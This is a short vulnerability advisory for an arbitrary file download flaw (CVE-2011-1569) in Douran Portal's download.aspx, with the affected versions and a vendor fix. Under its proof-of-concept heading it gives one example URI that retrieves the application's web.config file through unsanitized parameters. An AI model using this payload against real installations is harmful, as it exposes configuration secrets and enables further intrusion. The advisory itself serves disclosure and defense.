Douran Portal 'download.aspx' Arbitrary File Download Vulnerability

BID:46927

Info

Douran Portal 'download.aspx' Arbitrary File Download Vulnerability

Bugtraq ID: 46927
Class: Input Validation Error
CVE: CVE-2011-1569
Remote: Yes
Local: No
Published: Mar 21 2011 12:00AM
Updated: Apr 13 2015 09:01PM
Credit: AJAX Security Team
Vulnerable: Douran Portal Douran Portal 3.9.7 8
Douran Portal Douran Portal 3.9 23
Douran Portal Douran Portal 3.9.7.55
Douran Portal Douran Portal 3.9.6.0
Douran Portal Douran Portal 3.9.5.0.1
Not Vulnerable: Douran Portal Douran Portal 3.9.8.0

Discussion

Douran Portal 'download.aspx' Arbitrary File Download Vulnerability

Douran Portal is prone to a vulnerability that lets attackers download arbitrary files. This issue occurs because the application fails to sufficiently sanitize user-supplied input.

Exploiting this issue will allow an attacker to view arbitrary files within the context of the application. Information harvested may aid in launching further attacks.

Douran Portal 3.9.7.8 is affected; other versions may also be vulnerable.

Exploit / POC

Douran Portal 'download.aspx' Arbitrary File Download Vulnerability

An attacker can exploit this issue using a browser.

The following example URI is available:

http://www.example.com/download.aspx?FilePathAttach=/&FileNameAttach=web.config\.&OriginalAttachFileName=secretfile.txt

Solution / Fix

Douran Portal 'download.aspx' Arbitrary File Download Vulnerability

Solution:
Vendor updates are available. Please contact the vendor for more information.

References

Douran Portal 'download.aspx' Arbitrary File Download Vulnerability

References:

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